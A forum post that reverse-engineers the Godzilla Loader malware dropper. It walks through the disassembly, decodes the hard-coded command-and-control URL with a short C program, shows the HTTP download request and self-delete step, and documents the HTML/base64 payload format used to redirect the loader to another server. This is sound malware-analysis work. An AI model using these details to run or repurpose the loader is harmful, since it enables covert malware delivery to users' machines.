Тема: Реверс Godzilla Loader
Godzilla Loader – современный загрузчик-дропер, который позволяет скачивать неограниченное количество файлов в обход большинства видов AV-защиты.
Приложение работает без внедрения кода в чужие процессы, что является уникальным отличием в сравнении с другими схожими продуктами на рынке. Создавая не видимую для пользователя копию браузера, Godzilla Loader выполняет всю работу с сетью в контексте доверенного процесса браузера без внедрения своего кода. Приложение сохраняет на диск и запускает все загруженные ЕХЕ-файлы, после чего – самоудаляется.Написан на чистом Си и WinAPI
Обход большинства видов AV-защиты: ASLR, DEP, HIPS
Загрузка и запуск под low IL(повышение привелегий через WMI)Лицензия: 750$
Тема продажу - _https://damagelab.org/index.php?showtopic=26436
Першоджерелом виявився JS-лоадер (https://www.hybrid-analysis.com/sample/ … b54cd911d2), який безпосередньо завантажував саму Годзілу, а той у свою чергу інші файли на побажання оператора ботнету.
Перейдемо до пункту Hybrid Analysis, де ми бачимо як javascript виконує якийсь файл mateInvestment.scr. Завантажимо його (пункт Extracted Files).
Файл розміром 6 кб., має дві секції

"0" - код, "1" - імпорт
ентропія в нормі


семпл не першої свіжості, і сильно палений - https://virustotal.com/ru/file/a6a09e7a … 461147097/. Лінкер має версію 10.00 + "Написан на чистом Си и WinAPI" = побудовано Visual Studio. Дотичних ознак достатньо, перейдемо до відладчика. Я використовую OllyDbg.
На перший погляд немає ніяких слідів захисту коду
      _EP /$  55                 push    ebp
0040151C  |.  8BEC               mov     ebp, esp
0040151E  |.  81EC 98090000      sub     esp, 998
00401524  |.  53                 push    ebx
00401525  |.  56                 push    esi
00401526  |.  57                 push    edi
00401527  |.  33DB               xor     ebx, ebx
00401529  |.  53                 push    ebx
0040152A  |.  FF15 A4204000      call    dword ptr [<&ole32.CoInitialize>]
00401530  |.  68 07800000        push    8007                                         ; /Mode = SEM_FAILCRITICALERRORS|SEM_NOGPFAULTERRORBOX|SEM_NOALIGNMENTFAULTEXCEPT|SEM_NOOPENFILEERRORBOX
00401535  |.  FF15 6C204000      call    dword ptr [<&KERNEL32.SetErrorMode>]         ; \KERNEL32.SetErrorMode
0040153B  |.  8D45 84            lea     eax, [ebp-7C]
0040153E  |.  50                 push    eax                                          ; /TokenHandle = NULL
0040153F  |.  6A 28              push    28                                           ; |DesiredAccess = TOKEN_QUERY|TOKEN_ADJUST_PRIVILEGES
00401541  |.  C745 9C 53654368   mov     dword ptr [ebp-64], 68436553                 ; |
00401548  |.  C745 A0 616E6765   mov     dword ptr [ebp-60], 65676E61                 ; |
0040154F  |.  C745 A4 4E6F7469   mov     dword ptr [ebp-5C], 69746F4E                 ; |
00401556  |.  C745 A8 66795072   mov     dword ptr [ebp-58], 72507966                 ; |
0040155D  |.  C745 AC 6976696C   mov     dword ptr [ebp-54], 6C697669                 ; |
00401564  |.  C745 B0 65676500   mov     dword ptr [ebp-50], 656765                   ; |
0040156B  |.  FF15 68204000      call    dword ptr [<&KERNEL32.GetCurrentProcess>]    ; |[KERNEL32.GetCurrentProcess
00401571  |.  50                 push    eax                                          ; |ProcessHandle = NULL
00401572  |.  FF15 08204000      call    dword ptr [<&ADVAPI32.OpenProcessToken>]     ; \ADVAPI32.OpenProcessToken
00401578  |.  6A 01              push    1                                            ; /Arg3 = 1
0040157A  |.  8D45 9C            lea     eax, [ebp-64]                                ; |
0040157D  |.  50                 push    eax                                          ; |Arg2 = 0
0040157E  |.  FF75 84            push    dword ptr [ebp-7C]                           ; |Arg1 = 0
00401581  |.  E8 81FCFFFF        call    00401207                                     ; \malware.00401207хіба що строки у явному вигляді не зберігаються, а генеруються динамічно. Це
00401541  |.  C745 9C 53654368   mov     dword ptr [ebp-64], 68436553                 ; |
00401548  |.  C745 A0 616E6765   mov     dword ptr [ebp-60], 65676E61                 ; |
0040154F  |.  C745 A4 4E6F7469   mov     dword ptr [ebp-5C], 69746F4E                 ; |
00401556  |.  C745 A8 66795072   mov     dword ptr [ebp-58], 72507966                 ; |
0040155D  |.  C745 AC 6976696C   mov     dword ptr [ebp-54], 6C697669                 ; |
00401564  |.  C745 B0 65676500   mov     dword ptr [ebp-50], 656765                   ; |формує "SeChangeNotifyPrivilege" для "Enabling and Disabling Privileges" по адресу 00401581.
00401591 - підвищення прав через WMI - іншими словами набридає користувачеві віконцем допоки останній не натисне "Так".
004015A8 - тут іде завантаження atl.dll із подальшим знаходженням адрес функцій AtlAxWinInit та AtlAxGetControl. Як я зрозумів, цитую вікі:
Active Template Library (ATL) — набор шаблонных классов языка C++, разработанных компанией Microsoft для упрощения написания COM-компонентов
саме через ATL відбувається обхід усіх засобів захисту. Сам автор опублікував наступну статистику:
00401600 - виконання AtlAxWinInit, у msdn читаємо примітку
This function must be called before using the ATL control hosting API. Following a call to this function, the "AtlAxWin" window class can be used in calls to CreateWindow or CreateWindowEx, as described in the Windows SDK.
саме після цього, виконується CreateWindowEx із наступними аргументами
0012F5EC  /00000000  ....  ; |ExtStyle = 0
0012F5F0  |0012FE80  Ђю.  ; |ClassName = "AtlAxWin"
0012F5F4  |0012FE50  Pю.  ; |WindowName = "shell.view"
0012F5F8  |88000000  ...€  ; |Style = WS_POPUP|WS_DISABLED
0012F5FC  |00000000  ....  ; |X = 0
0012F600  |00000000  ....  ; |Y = 0
0012F604  |00000000  ....  ; |Width = 0
0012F608  |00000000  ....  ; |Height = 0
0012F60C  |00000000  ....  ; |hParent = NULL
0012F610  |00000000  ....  ; |hMenu = NULL
0012F614  |00000000  ....  ; |hInst = NULL
0012F618  |00000000  ....  ; \lParam = NULLЧерез відсутність досвіду праці із C++ та ATL опишу так: 0040166A - виклик AtlAxGetControl що заповнює ** на IUnknown, куди він зберігає вказівник на якийсь метод, котрий виконується із такими аргументами:
 - **IUnknown (по ООП це буде як вказівник на самого себе, тобто this);
 - вказівник на IID IWebBrowser2;
 - void*.
а ось і сам Interface Identifiers IWebBrowser2 (як і писав автор "Создавая не видимую для пользователя копию браузера")
00401685  |.  B9 AFCD0000               mov     ecx, 0CDAF
0040168A  |.  52                        push    edx
0040168B  |.  C785 70FFFFFF 61160CD3    mov     dword ptr [ebp-90], D30C1661
00401695  |.  66:898D 74FFFFFF          mov     word ptr [ebp-8C], cx
0040169C  |.  C785 76FFFFFF D0118A3E    mov     dword ptr [ebp-8A], 3E8A11D0
004016A6  |.  C785 7AFFFFFF 00C04FC9    mov     dword ptr [ebp-86], C94FC000
004016B0  |.  66:C785 7EFFFFFF E26E     mov     word ptr [ebp-82], 6EE2останній виклик у свою чергу заповнює IUnknown, із якого знову робиться виклик якогось методу. Одним словом маніпуляції із нутрощами класів, які від прикладного розробника виконуються потаємно.
0040183A - розшифровка (xor) динамічно побудованого буфера (адреса командного серверу) із wchar_t ключем L"GODZILLA". У нашому варіанті семплу це домен "_http://starwoodhotels.site/g.php".
// http://starwoodhotels.site/g.php
static wchar_t url[] = {
    0x002F, 0x003B, 0x0030, 0x002A, 0x0073, 0x0063, 0x0063, 0x0032, 0x0033, 0x002E, 0x0036, 0x002D, 
    0x0026, 0x0023, 0x0028, 0x0029, 0x0028, 0x003B, 0x0021, 0x0036, 0x003A, 0x0062, 0x003F, 0x0028, 
    0x0033, 0x002A, 0x006B, 0x003D, 0x0067, 0x003C, 0x0024, 0x0031, 0x0000
};
static wchar_t key[] = L"GODZILLA";
int main(void)
{
   size_t u = wcslen(url),
          k = wcslen(key);
   for (size_t i = 0; i < u; url[i] ^= key[i % k], ++i);
   wprintf(L"%ls\n", url);
   return 0;
}далі TranslateMessage/DispatchMessageW/GetMessageW якщо false, повторюємо, почавши із розшифровки url, знову false - завершуємося, інакше вантажить html-файл із таким запитом
GET /***.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
If-Modified-Since: Wed, 20 Apr 2016 07:35:29 GMT
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: ***
Connection: Keep-Alive004019C8 - декодує назву файлу із base64 за допомогою CryptStringToBinaryW, 004019E7 - те саме, тільки декодує корисне навантаження. Далі отримуємо шлях до Temp, створюємо файл (із ім'ям із стадії 004019C8), пишемо в нього буфер що розшифрувався на 004019E7, та запускаємо його. У кінці лоадер робить харакірі "/c del malware.bin >> NUL".
Щодо payload. Якщо на hybrid-analysis придивитися до пункту Extracted Strings, можна побачити елементи html-документа. Експериментальним шляхом я довідався, що він має наступний формат (тут я додав свій payload - простий MessageBox)
<!-- корисне навантаження, exe-файл у base64 -->
<div style="display:none" id="d" name="d">
TVqAAAEAAAAEABAA//8AAEABAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQokAAAAAAAAAABQRQAATAEBAGYtF1cAAAAAAAAAAOAADwELAQFHAAAAAAAAAAAAAAAAlhAAAAAAAAAAAAAAAABAAAAQAAAAAgAAAQAAAAAAAAAFAAEAAAAAAAAgAAAAAgAAYTwAAAIAAAAAEAAAABAAAAAAAQAAAAAAAAAAABAAAAAAAAAAAAAAAAAQAAC+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAvgAAAAAQAAAAAgAAAAIAAAAAAAAAAAAAAAAAAAAAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABYEAAAAAAAAAAAAAA8EAAAYBAAAHgQAAAAAAAAAAAAAEgQAACAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB1c2VyMzIuZGxsAABrZXJuZWwzMi5kbGwAAAAAaBAAAAAAAABoEAAAAAAAAAAATWVzc2FnZUJveEEAAACIEAAAAAAAAIgQAAAAAAAAAABFeGl0UHJvY2VzcwBqAGi6EEAAaLIQQABqAP8VYBBAAGoA/xWAEEAAcmVwbGFjZQAtX14AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
</div>
<!-- назва файлу який бот стврить у Temp та запустить ("replace_payload.exe") -->
<div style="display:none" id="s" name="s">cmVwbGFjZV9wYXlsb2FkLmV4ZQ==</div>Заради тесту я поставив бряк на 0040183F, отримав у EDX адресу буфера із розшифрованим url, замінив його на свій сервер із вищезазначеним корисним навантаженням на html, F9....

Метод цікавий, захист ніякий - це сприятиме розкрученню та використанню обходу іншими особами, що робить ціну у 750$ неактуальною.
end.
Семпл прикріплено, пароль до архіву - infected